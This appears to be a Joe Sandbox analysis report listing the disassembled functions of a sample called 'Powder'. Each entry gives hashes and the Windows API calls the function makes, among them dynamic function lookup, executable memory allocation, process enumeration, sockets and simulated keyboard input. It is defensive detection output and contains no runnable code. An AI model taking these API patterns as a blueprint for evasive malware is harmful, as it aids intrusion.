Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: ac6b2350dcd85d67e7be9f50d327d6cfbe845901490adf065b5c0cf82b5f6be4
Instruction ID: 92f7231aa22dffc4ee4e61b19c5ee1d620ba3bb847bda1b05d9b1c9e6359b07a
Opcode Fuzzy Hash: ac6b2350dcd85d67e7be9f50d327d6cfbe845901490adf065b5c0cf82b5f6be4
Instruction Fuzzy Hash: 01D017B1510B16EFDB20AF31EC08B867AE5AF04351F15DCAAE496D2654EEB4D9C1CB20

Function 00C94B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C94B44,?,00C949D4,?,?,00C927AF,?,00000001), ref: 00C94B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00C94B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00C94B91
kernel32.dll, xrefs: 00C94B80

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 8cb6a5a9acb746e07f313c4618f5133678ca025441991214c6f402361525e64b
Instruction ID: 089547d6e6e1a9e9fd272d9539528dd22c1bd9d9feeae4c28d908d7a7a49853e
Opcode Fuzzy Hash: 8cb6a5a9acb746e07f313c4618f5133678ca025441991214c6f402361525e64b
Instruction Fuzzy Hash: 13D01270510B16EFD7206F31DC18B467AD4AF04355F15C829D495D2650DAB4D4C1CA20

Function 00D01447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00D01696), ref: 00D01455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00D01467

Strings

advapi32.dll, xrefs: 00D01450
RegDeleteKeyExW, xrefs: 00D01461

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 75d443127fed51943d6c40d33361f558067cd8fe8b224511db8871f1ef100a28
Instruction ID: 9e0d5679b686724cc25d81cda604732d401fc3ad06782c08f2998dedb4a00289
Opcode Fuzzy Hash: 75d443127fed51943d6c40d33361f558067cd8fe8b224511db8871f1ef100a28
Instruction Fuzzy Hash: 13D01235510712EFD7205F75C80874676D4AF06395F15C92AE4D5E22A0DAB4D4C0C730

Function 00C955F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00C95E3D), ref: 00C955FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00C95610

Strings

kernel32.dll, xrefs: 00C955F9
GetNativeSystemInfo, xrefs: 00C9560A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 3cf8e316f91855943b91c6bb883e7ca070b7d248d4b2dfb62e171aca44fdc2a3
Instruction ID: f91d72d9d8e9ad54fdcc7e98e2be4ec2b78c8091d50cd63c1539805f8769d774
Opcode Fuzzy Hash: 3cf8e316f91855943b91c6bb883e7ca070b7d248d4b2dfb62e171aca44fdc2a3
Instruction Fuzzy Hash: 42D01274510B12EFD7216F31D8186967AD4AF05355B15C829E495D6251DBB4C5C0CB60

Function 00CF97CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00CF93DE,?,00D10980), ref: 00CF97D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00CF97EA

Strings

GetModuleHandleExW, xrefs: 00CF97E4
kernel32.dll, xrefs: 00CF97D3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: b8977bcba8d13b948e603d6ba19bea75aff7746b3a13a391b95b8b95912e73ab
Instruction ID: fdd1b66987acab21deb9e6be7aa89661a0679a5f6887d7bf3ad5848865780712
Opcode Fuzzy Hash: b8977bcba8d13b948e603d6ba19bea75aff7746b3a13a391b95b8b95912e73ab
Instruction Fuzzy Hash: F0D01270510717EFDB206F31D8886567AD4FF04395F15C82AD596D6250DFB4C5C0CA61

Function 00CD7D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0b83b885f24a60b69edd3859b352367e34e583313f4d3d77dca0aaa622e542
Instruction ID: 64cd7419f85838ff228c145e42dba52f7f732574a966b0fce6ce2a6fdd9e0e63
Opcode Fuzzy Hash: cc0b83b885f24a60b69edd3859b352367e34e583313f4d3d77dca0aaa622e542
Instruction Fuzzy Hash: 97C17E74A00216EFCB14CF98C884EAEB7B5FF48714B118599E915EB351DB31EE85CB90

Function 00CFE713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00CFE7A7
CharLowerBuffW.USER32(?,?), ref: 00CFE7EA

Part of subcall function 00CFDE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00CFDEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00CFE9EA
_memmove.LIBCMT ref: 00CFE9FD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: b44c655cb709377b586fa7e3387706b5bbbe4d56c9c68230f7e08b60c6c183f6
Instruction ID: 6a8e9524e5de0a193dc2fbd63d80c4013d27e078370245f481bd2852fd892968
Opcode Fuzzy Hash: b44c655cb709377b586fa7e3387706b5bbbe4d56c9c68230f7e08b60c6c183f6
Instruction Fuzzy Hash: D9C18C71A043058FC754DF28C48096ABBE4FF89318F14896EF9999B361D731EA46CB92

Function 00CF877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00CF87AD
CoUninitialize.OLE32 ref: 00CF87B8

Part of subcall function 00D0DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00CF8A0E,?,00000000), ref: 00D0DF71

VariantInit.OLEAUT32(?), ref: 00CF87C3
VariantClear.OLEAUT32(?), ref: 00CF8A94

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 79541f9038793664c748ece70af015fc8244c2ab687b52fbe20e9f9bd3b70438
Instruction ID: d8fccac8ef2a5033300c763e31450d1549682b5549fc4622ad2bdb1ab56659f4
Opcode Fuzzy Hash: 79541f9038793664c748ece70af015fc8244c2ab687b52fbe20e9f9bd3b70438
Instruction Fuzzy Hash: 4CA18B35204B069FC740EF64C481B2AB7E5FF88358F04884AFA959B3A1DB70ED45DB96

Function 00CD814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00D13C4C,?), ref: 00CD8308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00D13C4C,?), ref: 00CD8320
CLSIDFromProgID.OLE32(?,?,00000000,00D10988,000000FF,?,00000000,00000800,00000000,?,00D13C4C,?), ref: 00CD8345
_memcmp.LIBCMT ref: 00CD8366

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: fb457f78fe14a74fe1a9907e23ef3d466fbe5f84cbff520ad5d00a690a3de9a6
Instruction ID: 0c2ebed7398cf2186316bf607f4de7c7a5ddbe5cdb3d07a83c34b9568325f562
Opcode Fuzzy Hash: fb457f78fe14a74fe1a9907e23ef3d466fbe5f84cbff520ad5d00a690a3de9a6
Instruction Fuzzy Hash: 0A815C71A00109EFCB04DF94C888EEEB7B9FF89315F104599E515EB250DB71AE4ACB60

Function 00CD749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CD74AC
SysAllocString.OLEAUT32(00000000), ref: 00CD7555
VariantCopy.OLEAUT32 ref: 00CD7584
VariantClear.OLEAUT32(?), ref: 00CD75AB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 5a578eea56cc5e2005b0e443ba5f3bef08b8fac5fd9cfc8a77eda9cc0dd1c454
Instruction ID: 4c9038ea75e6c5455f0275eab1bc99bad07f009e7a709063adc3fd2eaaf0f461
Opcode Fuzzy Hash: 5a578eea56cc5e2005b0e443ba5f3bef08b8fac5fd9cfc8a77eda9cc0dd1c454
Instruction Fuzzy Hash: 8B51D8306087029BDB20AF7AD895A2DF7E5AF05314B308A1FF656C77A1FB70D8819B15

Function 00CFF4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00CFF526
Process32FirstW.KERNEL32(00000000,?), ref: 00CFF534

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Process32NextW.KERNEL32(00000000,?), ref: 00CFF5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00CFF603

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: ba593d377e45faa667be499ba24e3454c50ab82bd163e524604730eea6da9d89
Instruction ID: c1be53c519e56482ccc97c09fda875cc879269cf3ace99ed83b323dfd61a506a
Opcode Fuzzy Hash: ba593d377e45faa667be499ba24e3454c50ab82bd163e524604730eea6da9d89
Instruction Fuzzy Hash: 49519E71104301AFD714EF20D886A6FBBE8EF94714F40492DF995D72A1EB70EA05DB92

Function 00CA492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA49C0
__flush.LIBCMT ref: 00CA49E0
__write.LIBCMT ref: 00CA4A13
__flsbuf.LIBCMT ref: 00CA4A41

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 1f5ab5f197c844568d6aded9c7172597f4b4b1b18f8adb77e2840757043311fb
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 9A41C6316007079BDF2CCEB9C8809AF77A9AFC6368B24813DE865C7650E7B0DE519B44

Function 00CDA638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00CDA68A
__itow.LIBCMT ref: 00CDA6BB

Part of subcall function 00CDA90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00CDA976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00CDA724
__itow.LIBCMT ref: 00CDA77B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: d2e2a593a26931c2a5c39d8895ad41fbe16fbb7d7b5401339125d055ee654ad8
Instruction ID: 214cb206304c7c1785a658db90295d646c5ff032ad4a404407b869c8bb33cac1
Opcode Fuzzy Hash: d2e2a593a26931c2a5c39d8895ad41fbe16fbb7d7b5401339125d055ee654ad8
Instruction Fuzzy Hash: DC418274A00309AFDF11EF54C85ABEE7BB9EF44750F05001AFA15A3391DB709A45DBA2

Function 00CF7095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00CF70BC
WSAGetLastError.WSOCK32(00000000), ref: 00CF70CC

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00CF7130
WSAGetLastError.WSOCK32(00000000), ref: 00CF713C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 91366e473d0799c4ab3e6b9fff7a935d54ef39a7fc626d131a34bdccefc6eee4
Instruction ID: 4eb25dc6a4ff4fe7d9fc086590dc735ee13a046c6c497ab3020be21985969587
Opcode Fuzzy Hash: 91366e473d0799c4ab3e6b9fff7a935d54ef39a7fc626d131a34bdccefc6eee4
Instruction Fuzzy Hash: 6941BD716002016FEB28BF64DC86F7E77A59B04B18F04C158FA199B3D2EBB09D019B95

Function 00CF6B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00D10980), ref: 00CF6B92
_strlen.LIBCMT ref: 00CF6BC4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 7088edac340cd7cf54988cb61d3f4bdba8ca51211bd22548ada6ad61b9376ab0
Instruction ID: a9a42f0289c633caa9c512ca01fb1f87234b3d40599fa899e03f85f314536721
Opcode Fuzzy Hash: 7088edac340cd7cf54988cb61d3f4bdba8ca51211bd22548ada6ad61b9376ab0
Instruction Fuzzy Hash: 98410431600109AFCB04FBA4CCD6EBEB7A9EF54310F148159FA5A97292DF30AE01E751

Function 00D08E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00D08F03

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: e9e8a85f843986f9f6c174c215a3a2bec15481e93df43685d86c1bcda3ec5277
Instruction ID: 27e974f8fbac95c77def8a506ebb9994d50c24707589ca84cd897e9416567b9f
Opcode Fuzzy Hash: e9e8a85f843986f9f6c174c215a3a2bec15481e93df43685d86c1bcda3ec5277
Instruction Fuzzy Hash: 2831923464421ABFEB209A24CC45BAC3FA6EF06360F184511FAD9D62E1CFB1D950AB71

Function 00D0B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00D0B1D2
GetWindowRect.USER32(?,?), ref: 00D0B248
PtInRect.USER32(?,?,00D0C6BC), ref: 00D0B258
MessageBeep.USER32(00000000), ref: 00D0B2C9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: e7b9e951bd8c3c827e7dc4f7fd5b06df397f7e0f42efa7320b677fa1379c0784
Instruction ID: 6875d8ba3047e747eda26a41a41610b8bd857c8c0e39ac59261f34bbeea78a96
Opcode Fuzzy Hash: e7b9e951bd8c3c827e7dc4f7fd5b06df397f7e0f42efa7320b677fa1379c0784
Instruction Fuzzy Hash: 1B414D34A08215DFDB11DFA8C884BAD7BF5FB49320F1885AAE41CDB395D770A941CBA4

Function 00CE12D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00CE1326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00CE1342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00CE13A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00CE13FA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 040b36f3896ac5455dd265464bf8d126a089cd51caf1e9e9a35dc8c5783ad4e2
Instruction ID: 1cd37c38082e05a3b3db5b0178a86e74715d2d55f1ec58bb257ac717c14de715
Opcode Fuzzy Hash: 040b36f3896ac5455dd265464bf8d126a089cd51caf1e9e9a35dc8c5783ad4e2
Instruction Fuzzy Hash: 9C313070940398AEFF3186278C05BFE7BA5AB45310F1C831AF8E1526E5D3744EA19B61

Function 00CE1410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00CE1465
